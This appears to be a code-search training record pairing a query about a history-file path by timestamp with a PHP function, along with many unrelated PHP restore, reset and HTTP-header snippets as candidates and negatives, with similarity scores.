"function restore_all() {\n update_option('page_on_front', $this->ale_demo_history['page_on_front']);\n update_option('show_on_front', $this->ale_demo_history['show_on_front']);\n set_theme_mod('nav_menu_locations', $this->ale_demo_history['nav_menu_locations']);\n update_option('sidebars_widgets', $this->ale_demo_history['sidebars_widgets']);\n\n if (isset($this->ale_demo_history['used_widgets']) and is_array($this->ale_demo_history['used_widgets'])) {\n foreach ($this->ale_demo_history['used_widgets'] as $used_widget => $used_widget_value) {\n update_option('widget_' . $used_widget, $used_widget_value);\n }\n }\n\n\n\n // put the old theme settings back\n ale_global::$ale_options = $this->ale_demo_history['theme_options'];\n update_option(ALETHEME_THEME_OPTIONS_NAME, ale_global::$ale_options);\n\n // ?\n update_option('ale_social_networks', $this->ale_demo_history['ale_social_networks']);\n\n // delete the demo history\n delete_option(ALETHEME_SHORTNAME . '_demo_history');\n }",
"public function undo() {\r\n $this->chart->restoreAxisScales();\r\n $this->setZoomed(false);\r\n }",
"function undo()\n {\n $this->document->eraseLast();\n }",
"public function restore() {\n self::restoreAll($this->chapterID);\n }",
"public function restore($id)\n {\n $layout = Layout::onlyTrashed()->find($id);\n $layout->restore();\n return redirect()->route('layout');\n }",
"public function restore()\n\t{\n\t\t$this->files = array();\n\t}",
"public function restore(){\n $this->update(['deleted_by', NULL]);\n return $this->baseRestore();\n }",
"public function restored(Label $label)\n {\n //\n }",
"protected function discardUndo()\n\t{\n\t\t$this->undoArray = array();\n\t}",
"public function restore(): bool\n {\n return false;\n }",
"public function reset()\n {\n parent::reset();\n }",
"public function updraft_ajaxrestore() {\n\t\t$this->prepare_restore();\n\t\tdie();\n\t}",
"protected function _prepareLayout() {\n $this->_removeButton('reset'); // Remove unused buttons\n $this->_removeButton('delete');\n $this->_removeButton('save');\n\n return parent::_prepareLayout();\n }",
"abstract protected function resetCompleteView();",
"public function restored(Document $document)\n {\n //\n }",
"protected function onRestored()\n {\n return true;\n }",
"public function resetView()\n {\n $this->view = null;\n }",
"function revert_table() {\r\n $this->_table = $this->_table_org;\r\n $this->_table_org = NULL;\r\n }",
"public function restorePosition()\n {\n if ($this->value['y']==$this->_pdf->getY()) $this->_pdf->setY($this->value['yc'], false);\n }",
"private function restore()\n {\n if ($this->session->has('sergsxm_form_'.$this->formId)) {\n $this->parameters = $this->session->get('sergsxm_form_'.$this->formId);\n } else {\n $this->parameters = array();\n }\n }",
"public function restore_previous_locale()\n {\n }",
"public function restored(Article $article)\n {\n //\n }",
"public function restore()\n {\n $this->restoreEntrustUserTrait();\n $this->restoreSoftDeletes();\n }",
"public function restored(Order $order)\n\t{\n\t\t//\n\t}",
"public function restored(Order $order)\n\t{\n\t\t//\n\t}",
"public function restored(Activity $activity)\n {\n //\n }",
"public function restored(Menu $menu)\n {\n //\n }",
"public function restored(Auditable $model)\n {\n Auditor::execute($model->setAuditEvent('restored'));\n\n // Once the model is restored, we need to put everything back\n // as before, in case a legitimate update event is fired\n static::$restoring = false;\n }",
"public function restored(InterviewQuestion $interviewQuestion): void\n {\n //\n }",
"public function restored(Contribute $contribute)\n {\n //\n }",
"public function restored(Program $program): void\n {\n ChangeModelStatusEvent::dispatch($program, true);\n // Restore all contents under restored program\n RestoreProgramContentEvent::dispatch($program->getAttribute('id'));\n }",
"public function post_editketentuan(){\n $this->layout = null;\n }",
"public function restore() {\r\n\t\t// Only restore cached TypoScript if the content is cached:\r\n\t\t$frontend = $this->getFrontend();\r\n\t\tif ($frontend->cacheContentFlag && ! $this->isRestored) {\r\n\t\t\t// Fetch the cached information and restore it:\r\n\t\t\t$cacheFilePath = $this->getCacheFilePath();\r\n\t\t\tif (@is_file ( $cacheFilePath )) {\r\n\t\t\t\t$cache = unserialize(GeneralUtility::getURL($cacheFilePath));\r\n\t\t\t} else {\r\n\t\t\t\t// Generate the cache information:\r\n\t\t\t\t$cache = $this->generate ();\r\n\t\t\t}\r\n\r\n\t\t\t// Merge current TypoScript with cached:\r\n\t\t\tif (is_array($cache) && count($cache) > 0) {\r\n\t\t\t\t$frontend->tmpl->setup = array_merge ( ( array ) $frontend->tmpl->setup, $cache );\r\n\t\t\t\t$libraries = $frontend->tmpl->setup['includeLibs.'];\r\n\t\t\t\tif(is_array($libraries)) {\r\n\t\t\t\t\t$frontend->includeLibraries( $libraries );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t$this->isRestored = true;\r\n\t\t}\r\n\t}",
"public function restored(Conversation $conversation)\n {\n //\n }",
"function revertState(): void\n {\n if (!$this->stateStack) {\n throw new \\LogicException('The state stack is empty');\n }\n\n [$this->valid, $this->offset, $this->index, $this->current] = array_pop($this->stateStack);\n }",
"abstract protected function _restoreStandardValues();",
"public function restored(Post $post)\n {\n //\n }",
"public function restored(Post $post)\n {\n //\n }",
"public function restored(assignment $assignment)\n {\n //code...\n }",
"public function restoring(assignment $assignment)\n {\n //code...\n }",
"public function restored(Media $media)\n {\n //\n }",
"public function restore()\n {\n //Query Builder\n DB::table('users')->delete();\n DB::table('respuestas')->delete();\n \n echo \"Realizado\";\n }",
"function reset_process(){ $this->model->closing(); $this->transmodel->closing(); }",
"public function restore($id);",
"public function restore($id);",
"public function restore($id);",
"public function restore($id);",
"public function restoring(Wallet $wallet)\n {\n //\n }",
"public function restored(Reports $report)\n {\n //\n }",
"public function reset()\n {\n $this->values[self::_RESULT] = null;\n $this->values[self::_DRAW_VITALITY] = null;\n }",
"public function undo(): void;",
"public function recreateAppearance();",
"public function restored(RideShareTransaction $rideShareTransaction)\n {\n //\n }",
"public function rollback() {\n if (!$this->changed())\n return;\n\n $this->tags = array('new' => array(), 'del' => array());\n $this->inited = false;\n }",
"public function restored(Item $item)\n {\n //\n }",
"public function restored(Item $item)\n {\n //\n }",
"public function restoring(Order $Order)\n {\n //code...\n }",
"public function after_restore() {\n global $DB;\n\n // Get the blockid.\n $blockid = $this->get_blockid();\n\n // Extract block configdata and update it to point to the new activities\n if ($configdata = $DB->get_field('block_instances', 'configdata', array('id' => $blockid))) {\n\n $config = unserialize(base64_decode($configdata));\n $update = false;\n $types = array('collectpresentations', 'collectworkshops', 'collectsponsoreds',\n 'conference', 'workshops', 'reception', 'publish',\n 'registerdelegates', 'registerpresenters');\n foreach ($types as $type) {\n if ($this->after_restore_fix_cmid($config, $type)) {\n $update = true;\n }\n }\n\n // cache number of sections in this course\n $numsections = self::get_numesctions($this->get_courseid());\n\n $types = array('review', 'revise');\n foreach ($types as $type) {\n if ($this->after_restore_fix_sectionnum($config, $type, $numsections)) {\n $update = true;\n }\n }\n\n if ($update) {\n $configdata = base64_encode(serialize($config));\n $DB->set_field('block_instances', 'configdata', $configdata, array('id' => $blockid));\n }\n }\n }",
"public function reset() {\r\n $this->zip->unchangeAll();\r\n }",
"public function restored(Gym $gym)\n {\n //\n }",
"public function resetState() {}",
"public function restoreMemento(Memento $memento) {\n $this->_state = $memento->getState();\n }",
"protected function reset() {}",
"protected function reset() {}",
"protected function reset() {}",
"public function reset()\n\t\t{\n\t\t\t$this->styles = [];\n\t\t}",
"public function recreateAppearance() {}",
"public function recreateAppearance() {}",
"public function recreateAppearance() {}",
"public function recreateAppearance() {}",
"public function rollback()\n\t{\n\t\tforeach($this->subformArr as $key => $sf) $sf->rollback();\n\t}",
"public function recreateAppearance() {}",
"public function recreateAppearance() {}",
"public function recreateAppearance() {}",
"public function restored(TradeCancel $tradeCancel)\n {\n //\n }",
"function reset() {\n\t\tparent::_resetSet();\n\t}",
"public function restored(Order $order)\n {\n //\n }",
"public function restored(Order $order)\n {\n //\n }",
"public function restored(Order $order)\n {\n //\n }",
"public function reset() {\n $this->cache = array();\n $this->parent()->reset();\n }",
"public function restored(Icon $icon)\n {\n //\n }",
"public function reset()\n {\n $this->values[self::_OPEN_PANEL] = null;\n $this->values[self::_QUERY_OPPO] = null;\n $this->values[self::_START_BAT] = null;\n $this->values[self::_END_BAT] = null;\n $this->values[self::_RESET] = null;\n $this->values[self::_DRAW_REWARD] = null;\n }",
"public function reset()\n {\n parent::reset();\n $this->attr('Material')->shader('flat');\n $this->attr('Material')->side('double');\n $this->color('#FFF');\n $this->transparent(true);\n $this->height(1.75);\n $this->width(1.75);\n }",
"public function restored(Remission $remission)\n {\n //\n }"
] | [
"0.7585868",
"0.74500686",
"0.74327695",
"0.7335147",
"0.73264235",
"0.7272106",
"0.71052134",
"0.6857936",
"0.68351126",
"0.682605",
"0.67647904",
"0.67647904",
"0.64565575",
"0.6376829",
"0.6361718",
"0.6348198",
"0.6338996",
"0.62753403",
"0.62095124",
"0.61846",
"0.6163987",
"0.6147919",
"0.60936934",
"0.60425526",
"0.60335356",
"0.6025594",
"0.60135126",
"0.60086155",
"0.5962306",
"0.595239",
"0.58915436",
"0.5874487",
"0.5873355",
"0.5838586",
"0.5833765",
"0.581783",
"0.5805433",
"0.57992333",
"0.5791192",
"0.57738286",
"0.57738286",
"0.5773641",
"0.5769233",
"0.5768382",
"0.57670385",
"0.5760787",
"0.5750359",
"0.57468426",
"0.57373345",
"0.57089406",
"0.57089144",
"0.57004184",
"0.5694801",
"0.5694801",
"0.56882876",
"0.5687568",
"0.5671073",
"0.56675637",
"0.56665707",
"0.5645343",
"0.5645343",
"0.5645343",
"0.5645343",
"0.5634711",
"0.56340927",
"0.56274563",
"0.56259173",
"0.5625646",
"0.5620834",
"0.56194496",
"0.5618398",
"0.5618398",
"0.5617867",
"0.5615733",
"0.56121266",
"0.56093234",
"0.56059945",
"0.56041455",
"0.56005764",
"0.5600503",
"0.5600318",
"0.55989695",
"0.5588271",
"0.5588271",
"0.5588271",
"0.5588271",
"0.5587158",
"0.55870634",
"0.55870634",
"0.55870634",
"0.55820674",
"0.5563807",
"0.5557975",
"0.5557975",
"0.5557975",
"0.5551117",
"0.55472606",
"0.55472153",
"0.55470866",
"0.5543758"
] | 0.70648587 | 7 |
Returns full path to history file by timestamp. This function returns file path even if file doesn't exist | public function getFileByTimestamp($timestamp)
{
return $this->_dirname . DIRECTORY_SEPARATOR . $this->_basename . '_' . $timestamp ;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function filename()\n {\n return 'history_' . time();\n }",
"public function getHistory() {\n\n if ($this->history) {\n return $this->history;\n }\n\n if (file_exists(static::FILE_HISTORY)) {\n\n $history = file_get_contents(static::FILE_HISTORY);\n\n if (file_exists($history)) {\n return $history;\n }\n }\n }",
"public function getVersionHistoryJsnFilename()\n {\n return pathinfo($this->getVersionHistoryJsnFullPath(), PATHINFO_FILENAME);\n }",
"public function getVersionHistoryJsnFullPath()\n {\n return CONFIG . 'version_history.json';\n }",
"private function getThumbFilepath() {\n\t\t$filename = $this->getThumbFilename();\n\t\t$filepath = $this->pathCache . $filename;\n\t\treturn($filepath);\n\t}",
"public function logFilePath();",
"private function getFilePath() {\n\t\treturn $this->options['path'].'/'.md5($this->options['revision']).'/'.$this->path;\n\t}",
"function getLatestReport($path){\n\t#$path = \"./reports\";\n\n\t$latest_ctime = 0;\n\t$latest_filename = '';\n\n\t$d = dir($path);\n\twhile (false !== ($entry = $d->read())) {\n\t\t$filepath = \"{$path}/{$entry}\";\n\t\t// could do also other checks than just checking whether the entry is a file\n\t\tif (is_file($filepath) && filectime($filepath) > $latest_ctime) {\n\t\t\t$latest_ctime = filectime($filepath);\n\t\t\t$latest_filename = $entry;\n\t \t}\n\t}\t\n\n\treturn $path . \"/\" . $latest_filename;\n\t// now $latest_filename contains the filename of the file that changed last\n}",
"public function symlinkLatestBackup($path);",
"public function getAuditPath()\n {\n return $this->auditPath;\n }",
"function last_version($file_name) {\n echo $file_name .\"?v=\". filemtime($file_name);\n}",
"public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}",
"public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}",
"function getCurrentFile(){\n $stack = debug_backtrace();\n $firstFrame = $stack[count($stack) - 1];\n $initialFile = $firstFrame['file'];\n $prefix = 13;\n return substr($initialFile, $prefix, strlen($initialFile)-$prefix);\n}",
"protected function findNewestLocalLogfile()\n {\n $files = glob(storage_path('logs').'/*.log');\n $files = array_combine($files, array_map('filemtime', $files));\n arsort($files);\n\n $newestLogFile = key($files);\n\n return $newestLogFile;\n }",
"function getCurTrackPath(){\n\n\t}",
"static public function getFilenameFromTimestamp($timestamp)\n {\n return date('Y_m_d_H_i_s', strtotime($timestamp)) . '.php';\n }",
"public function getLogFilePath(): string\n {\n return $this->logger->getLogFilePath();\n }",
"function getCacheFilePath($eventData)\n {\n global $serendipity;\n\n $cache_filename = $this->getCacheFileName($eventData);\n if (!isset($cache_filename)) {\n return null;\n }\n return $this->getCacheDirectory() .'/' . $cache_filename;;\n }",
"public function getFilepath();",
"function get_file_path($key)\n\t{\n\t\t$key = md5($key);\n\t\t$file_name = $key.'.cache';\n\t\t$file_path = CACHE_DIR.$file_name;\n\n\t\treturn $file_path;\n\t}",
"public static function getFilePath(): string\n {\n return static::getInstance()->getFilePath();\n }",
"public function getTimestamp($path)\n {\n }",
"public function saveToHistory($path) {\n\n return file_put_contents(static::FILE_HISTORY, $path);\n }",
"public function append ($path)\n {\n // make sure we don't have a duplicate filename - highly unusual as two people should not be using Studio/MB concurrently, but when testing quite possible to do two appends within one second...\n // because so unlikely in normal use we handle this the naive way by waiting a second so our naming scheme doesn't get overelaborated\n $retries = 0 ;\n\n $now = TimeDate::getInstance()->getNow();\n $new_file = null;\n for($retries = 0; !file_exists($new_file) && $retries < 5; $retries ++)\n {\n $now->modify(\"+1 second\");\n $time = $now->__get('ts');\n $new_file = $this->getFileByTimestamp( $time );\n }\n // now we have a unique filename, copy the file into the history\n copy ( $path, $new_file ) ;\n \t $this->_list [ ] = $time ;\n\n // finally, trim the number of files we're holding in the history to that specified in the configuration\n // truncate the oldest files, keeping only the most recent $GLOBALS['sugar_config']['studio_max_history'] files (zero=keep them all)\n $to_delete = $this->getCount() - $this->_historyLimit;\n if ($this->_historyLimit != 0 && $to_delete)\n {\n // most recent files are at the end of the list, so we strip out the first count-max_history records\n // can't just use array_shift because it renumbers numeric keys (our timestamp keys) to start from zero...\n for ( $i = 0 ; $i < $to_delete ; $i ++ )\n {\n $timestamp = array_shift( $this->_list ) ;\n if (! unlink ( $this->getFileByTimestamp( $timestamp ) ))\n {\n $GLOBALS [ 'log' ]->warn ( \"History.php: unable to remove history file {$timestamp} from directory {$this->_dirname} - permissions problem?\" ) ; }\n }\n }\n\n // finally, remove any history preview file that might be lurking around - as soon as we append a new record it supercedes any old preview, so that must be removed (bug 20130)\n if (file_exists($this->_previewFilename))\n {\n $GLOBALS [ 'log' ]->debug( get_class($this).\"->append(): removing old history file at {$this->_previewFilename}\");\n unlink($this->_previewFilename);\n }\n\n return $time ;\n }",
"public function getLogFilePath(){\n\n\t\treturn $this->_log_file_path; \n\t}",
"private function getFilePath() {\n return FileService::getInstance()->getTempDirPath() . DIRECTORY_SEPARATOR . $this->fileBaseName;\n }",
"private function getFilePath($key) {\n return $this->cacheFilePath . md5($key) . '.cache';\n }",
"protected function initFilePath() {\n \n $result = $this->profiler->getLogsPath();\n \n $result .= $this->key.'.log';\n \n if ( !file_exists( $result ) ) {\n touch( $result );\n }\n \n return $result;\n }",
"public function getFilePath();",
"public function getFilePath();",
"public function getFilePath();",
"public function getFilePath();",
"private function tempFilePath()\n {\n $path = 'exports/'.Str::random();\n\n // Make sure the file exists\n Storage::put($path, null);\n\n return Storage::path($path);\n }",
"public function path($filename = null, $lifetime = 0)\n\t{\n\t\tif (null === $filename) {\n\t\t\treturn $this->__path_cache;\n\t\t}\n\n\t\t$path = $this->__path_cache.$filename;\n\n\t\treturn (file_exists($path) && (0 == $lifetime || (time() - $lifetime) < filemtime($path))) ? \n\t\t\t\t$path : \n\t\t\t\tnull;\n\t}",
"private function getFilePath()\n {\n return \\Application::dirLogs() . '/console.log';\n }",
"private static function getLogFile(): string\n {\n return \\sprintf(\n '%s/logs/log_report_%s.txt',\n \\dirname(__DIR__),\n \\date('d-m-Y')\n );\n }",
"private function getFilePath(string $fileName)\n {\n return storage_path() . '/logs/log-delete/' . $fileName . '.log';\n }",
"public function getLogFilePath()\n {\n return $this->getSettingArray()[\"log_file_path\"];\n }",
"public function getPathToFile(): string;",
"function _getFilePath($key){\n return $this->savePath .'/'. $this->prefix . md5($key);\n }",
"public function get_path()\n\t\t{\n\t\t\tif ($this->path) {\n\t\t\t\treturn $this->path.'/'.$this->get_full_name();\n\t\t\t} else {\n\t\t\t\ttry {\n\t\t\t\t\t$hash = $this->hash();\n\t\t\t\t} catch(\\System\\Error\\File $e) {\n\t\t\t\t\t$hash = null;\n\t\t\t\t}\n\n\t\t\t\tif ($hash) {\n\t\t\t\t\treturn $this->get_path_hashed();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn null;\n\t\t}",
"public function path(): string\n {\n return realpath($this->file);\n }",
"private static function get_log_file( string $file ) : string {\r\n\t\treturn Core::get_app_path( self::$directory, $file );\r\n\t}",
"public static function getPath()\n {\n return rex_path::coreData('system.log');\n }",
"public function getScreenshotFilePath() {\n $uploadPath = $this->getScreenshotUploadPath();\n if (!is_dir($uploadPath)) {\n mkdir($uploadPath);\n }\n return $uploadPath . $this->id . \".\" . $this->screenshotFile->extension;\n }",
"protected function filename()\n {\n return 'ticket_' . time();\n }",
"public function getFilePath() {\n\t\t$path = SPREADSHEET_FILES_DIR . \"/\" . $this->file_name;\n\t\tif (file_exists($path)) {\n\t\t\treturn $path;\n\t\t}\n\t}",
"protected function filename()\n {\n return 'navigation_' . date('Ymdhis');\n }",
"public function lastModificationTime($path);",
"public function getFileAbsolutePath($file);",
"protected function getTargetFile() {\r\n\t\treturn str_replace('%s', $this->currentDate, $this->file);\r\n\t}",
"function getLogs(): string\n{\n $filename = $_SERVER['DOCUMENT_ROOT'].'/Utils/Logs/log.txt';\n $filesize = filesize($filename);\n\n if ($filesize > 100000)\n {\n // Trim down to 10K bytes if over 100K Bytes\n $data = file_get_contents( $filename, false, null, -10000);\n file_put_contents($filename, $data);\n }\n\n\n // Get last 10K characters(bytes) or as many as possible\n if ($filesize < 10000)\n return file_get_contents( $filename, false, null, -$filesize);\n else\n return file_get_contents( $filename, false, null, -10000);\n\n}",
"protected function pagePath()\n {\n if (! $this->timestamp) {\n throw new Exception('pagePath(): timestamp not set');\n }\n\n return $this->notebook->getPath($this->timestamp.'.csv');\n }",
"public function getLastUpdatedFile(): string\n {\n $path = $this->getJsonTypeFolder();\n $this->lastUpdatedFile = $path . DIRECTORY_SEPARATOR . 'last-updated.php';\n return $this->lastUpdatedFile;\n }",
"protected static function getFilePath(Event $event, $filename) {\n $core_path = self::getDrupalCorePath($event);\n $filepath = getcwd() . DIRECTORY_SEPARATOR . $core_path . $filename;\n return $filepath;\n }",
"protected function getFilePath($key)\n {\n return $this->file_path . '/sb_Cache' . $key;\n }",
"function getAbsolutePath() ;",
"public function getTempUpdateFile()\n {\n $dbPath = $this->getDatabasePath();\n\n return $dbPath . '_temp.gz';\n }",
"public function get_timestamp() {\n\n\t\tif ( file_exists( $this->get_path( 'file' ) ) ) {\n\t\t\treturn filemtime( $this->get_path( 'file' ) );\n\t\t}\n\t\treturn false;\n\t}",
"private function buildFilePath($serverAddress, $path, $dir, $file) {\n return $serverAddress . '/' . $dir . '/' . $file . '?' . filemtime($path . '/' . $dir . '/' . $file);\n }",
"protected function getFileSnapshotDirectory(): string\n {\n return $this->getSnapshotDirectory().\n DIRECTORY_SEPARATOR.\n 'files';\n }",
"public static function getFileLocation()\n {\n $config = Yaml::parseFile(__DIR__.'/../../config.yaml');\n return (isset($config[\"log\"][\"file\"])) ? __DIR__.\"/\".$config[\"log\"][\"file\"] : __DIR__.\"/app.log\";\n }",
"public function getPath(): string {\n $meta_data = stream_get_meta_data($this->file);\n return $meta_data[\"uri\"];\n }",
"protected function get_cache_file_path( $key ) {\n\t\treturn $this->cache_dir . DIRECTORY_SEPARATOR . $key;\n\t}",
"private function last_version($file_name){ \n if (file_exists($file_name)){\n return $file_name.\"?v=\".filemtime($file_name); \n } \n }",
"public function getCurrentFile() {}",
"protected function filename()\n {\n return 'playerBetFlowLogs';\n }",
"protected function filename()\n {\n return 'permissions_datatable_' . time();\n }",
"protected function filename()\n {\n return 'photos_datatable_' . time();\n }",
"public function getRelativeFilename(): string\n {\n return $this->relative_filename;\n }",
"protected function get_file() {\n\n\t\treturn __FILE__;\n\t}",
"protected function getRelativeFilePath($filename)\n {\n return self::IMPORT_STATUS_DIR . '/' . $filename;\n }",
"public function getHistoryTpl(){\n return $this->templates['history'];\n }",
"public function snapshotFilename(\\Throwable $exception, int $time): string\n {\n $name = (new \\ReflectionObject($exception))->getShortName();\n\n $filename = \\Spiral\\interpolate($this->config['reporting']['filename'], [\n 'date' => date($this->config['reporting']['dateFormat'], $time),\n 'name' => $name\n ]);\n\n return $this->reportingDirectory() . $filename;\n }",
"public function getFilename()\n {\n return __FILE__;\n }",
"private function getHistoricLocalFilesList()\n\t{\n\t\t$historic_files = array();\n\t\t\n\t\t$files = VideodeskHistoricLog::getFilesForShop($this->shop->id);\n\t\t\n\t\tforeach ($files as $file) {\n\t\t\t$historic_files[$file['filename']] = array(\n\t\t\t\t'name' => $file['filename'],\n\t\t\t\t'size' => $file['size']\n\t\t\t);\n\t\t}\n\t\treturn $historic_files;\n\t}",
"protected function filename()\n {\n return 'inventarisdatatable_' . time();\n }",
"public function getCacheFile()\n\t{\n\t\treturn $this->tempDir . '/' . $this->filename;\n\t}",
"function getFilename()\n {\n return __FILE__;\n }",
"function get_tmp_file() {\n\tglobal $g;\n\treturn \"{$g['tmp_path']}/tmp-\" . time();\n}",
"public function getFullPath(): string;",
"public function get_file() {\n\t\treturn __FILE__;\n\t}",
"public function getFilepath() {\n\t\treturn $this->directory.$this->fileprefix.'-'.$this->filename.'.'.static::EXTENSION;\n\t}",
"public function getNewFilePath()\r\n {\r\n return $this->_newFilePath;\r\n }",
"public function getAbsolutePath() {}",
"public function getAbsolutePath() {}",
"function urlfiledate($url){\n if (file_exists($url)){\n $aktuell = date(\"Y-m-d H:i:s\",filemtime($url));\n } else {\n $aktuell = date(\"Y-m-d H:i:s\");\n } \n return $aktuell;\n}",
"private function getVersionFile()\n {\n return $this->dir . DIRECTORY_SEPARATOR . self::VERSION_FILE;\n }",
"public function getFilePath(): string;",
"public function getFilePath(): string;",
"private function get_filename() {\n \n $md5 = md5($_SERVER[\"HTTP_HOST\"] . $_SERVER[\"REQUEST_URI\"]);\n return CACHE_DIR . \"/\" . $md5;\n }",
"public function getJournalFilepath(): string\n {\n return $this->getJournalDir() . DIRECTORY_SEPARATOR . $this->getJournalFilename();\n }",
"function bps_getLoginSecurityResetFileLastMod() {\n$filename = WP_CONTENT_DIR . '/bps-backup/master-backups/Login-Security-Alert-Reset.txt';\n$gmt_offset = get_option( 'gmt_offset' ) * 3600;\n\nif ( file_exists($filename) ) {\n\t$last_modified = date(\"F d Y H:i:s\", filemtime($filename) + $gmt_offset );\n\treturn $last_modified;\n\t}\n}",
"public function getLog()\n {\n return join_paths($this->getPath(), 'import.log');\n }",
"function getFileFullPath($fileName) {\n\tglobal $GrunPath;\n\treturn $GrunPath.\"/\".$fileName;\n}",
"public function getAbsolutePath();",
"abstract public function getCurrentPath();",
"public function getLogPath() : string\n {\n return $this->logPath;\n }",
"function getLastExportDate($filename)\n{\n\tif (!is_file($filename))\n\t{\n\t\treturn false;\n\t} else {\n\t\t$time = file_get_contents($filename);\n\t}\n\treturn $time;\n}"
] | [
"0.70682204",
"0.62143326",
"0.61543",
"0.6101573",
"0.6079906",
"0.6056782",
"0.6036165",
"0.58492464",
"0.57833487",
"0.5703783",
"0.5652902",
"0.56379366",
"0.56379366",
"0.5633526",
"0.55959755",
"0.5585009",
"0.5581778",
"0.5566956",
"0.5558288",
"0.5549959",
"0.55494285",
"0.5541889",
"0.5540397",
"0.5504411",
"0.55031323",
"0.5499602",
"0.5496866",
"0.54950225",
"0.5483963",
"0.5461876",
"0.5461876",
"0.5461876",
"0.5461876",
"0.545354",
"0.5452876",
"0.54524785",
"0.54426575",
"0.54190534",
"0.54152274",
"0.5405163",
"0.5392023",
"0.53896266",
"0.53774285",
"0.5375278",
"0.5374869",
"0.5363708",
"0.53473717",
"0.5336272",
"0.5334535",
"0.5329137",
"0.53268296",
"0.5324634",
"0.5316263",
"0.5314878",
"0.53129923",
"0.53083",
"0.5307226",
"0.5303009",
"0.52925",
"0.5292228",
"0.52825856",
"0.5276732",
"0.52685004",
"0.5263521",
"0.5263242",
"0.52574575",
"0.5254718",
"0.5254101",
"0.52475435",
"0.5239647",
"0.5238565",
"0.5238112",
"0.5237507",
"0.523646",
"0.5235405",
"0.52270323",
"0.5216079",
"0.521233",
"0.520752",
"0.5204191",
"0.5197584",
"0.51964986",
"0.51908755",
"0.5188436",
"0.51856947",
"0.5185671",
"0.5185671",
"0.51830834",
"0.5181333",
"0.51726127",
"0.51726127",
"0.517014",
"0.516945",
"0.5165609",
"0.5153158",
"0.51519513",
"0.51475513",
"0.5147479",
"0.5145111",
"0.5143579"
] | 0.62195176 | 1 |
Fetch all HTTP headers from the current request | function apache_request_headers() : array
{
$headers = [];
foreach ( $_SERVER as $name => $value ) {
if ( substr( $name, 0, 5 ) !== 'HTTP_' ) {
continue;
}
$name = substr( $name, 5 );
$name = strtr( $name, '_', '-' );
$name = ucwords( $name, ' -' );
$headers[$name] = $value;
}
return $headers;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public static function getRequestHeaders() {}",
"public function getHeaders() {}",
"private function requestHeaders() \n {\n // getallheaders available, use that\n if (function_exists('getallheaders')) {\n return getallheaders();\n }\n\n // getallheaders not available: manually extract 'm\n $headers = array();\n foreach ($_SERVER as $name => $value) {\n if ((substr($name, 0, 5) == 'HTTP_') || ($name == 'CONTENT_TYPE') || ($name == 'CONTENT_LENGTH')) {\n $headers[str_replace(array(' ', 'Http'), array('-', 'HTTP'), ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;\n }\n }\n return $headers;\n }",
"public function getRequestHeaders();",
"public function getHeaders();",
"public function getHeaders();",
"public function getHeaders();",
"public function getHeaders();",
"public function getHeaders();",
"public function getHeaders();",
"public function getHeaders();",
"public function getHeaders();",
"public function getHeaders();",
"public function getHeaders();",
"public function getHeaders()\n {\n return $this->headerRequested->get();\n }",
"public function getHeaders()\n {\n return apache_request_headers();\n }",
"public static function allHeaders()\n {\n return self::$__headers;\n }",
"public function getHeaders ();",
"public function getHeaders()\n {\n \treturn getallheaders();\n }",
"abstract public function getHeaders();",
"public abstract function getHeaders();",
"public function getAllHeaders()\n {\n return $this->headers;\n }",
"public function headers() {\n\t\treturn $this->getAllHeaders();\n\t}",
"public static function getAllHeaders()\n {\n if (!function_exists('getallheaders')) {\n $headers = [];\n foreach ($_SERVER as $name => $value) {\n if (substr($name, 0, 5) == 'HTTP_') {\n $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;\n }\n }\n return $headers;\n }\n return getallheaders();\n }",
"public function get_headers()\n {\n }",
"public function get_headers()\n {\n }",
"public function get_headers()\n {\n }",
"private function get_headers() {\r\n\t\treturn array( 'User-Agent' => $this->user_agent );\r\n\t}",
"public function getHeaders()\n {\n }",
"public function getHeaders()\n {\n }",
"function getallheaders()\n {\n $headers = [];\n if (isset($_SERVER)) {\n\n foreach ($_SERVER as $name => $value) {\n if (substr($name, 0, 5) == 'HTTP_') {\n $headers[str_replace(\n ' ',\n '-',\n ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))\n )] = $value;\n }\n }\n\n }\n\n return $headers;\n }",
"public function getRequestHeaders()\n {\n return [];\n }",
"public function getHeaders()\n\t{\n\t\treturn $this->headers->all();\n\t}",
"public function getallheaders()\n {\n $headers = array();\n\n foreach ($_SERVER as $name => $value) {\n if (substr($name, 0, 5) == 'HTTP_') {\n $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;\n }\n }\n return $headers;\n }",
"public static function getHeaders(): array {\r\n return function_exists('getallheaders') ? getallheaders() : [];\r\n }",
"private static function get_headers()\n {\n if (function_exists('apache_request_headers'))\n {\n // we need this to get the actual Authorization: header\n // because apache tends to tell us it doesn't exist\n return apache_request_headers();\n }\n // otherwise we don't have apache and are just going to have to hope\n // that $_SERVER actually contains what we need\n $out = array();\n foreach ($_SERVER as $key => $value)\n {\n if (substr($key, 0, 5) == \"HTTP_\")\n {\n // this is chaos, basically it is just there to capitalize the first\n // letter of every word that is not an initial HTTP and strip HTTP\n // code from przemek\n $key = str_replace(\" \", \"-\", ucwords(strtolower(str_replace(\"_\", \" \", substr($key, 5)))));\n $out[$key] = $value;\n }\n }\n return $out;\n }",
"public function getRequestHeaders()\r\n {\r\n return $this->request_headers;\r\n }",
"private function getHeaders() {\n if (function_exists('apache_request_headers')) {\n return apache_request_headers();\n }\n $headers = array();\n $keys = preg_grep('{^HTTP_}i', array_keys($_SERVER));\n foreach ($keys as $val) {\n $key = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($val, 5)))));\n $headers[$key] = $_SERVER[$val];\n }\n return $headers;\n }",
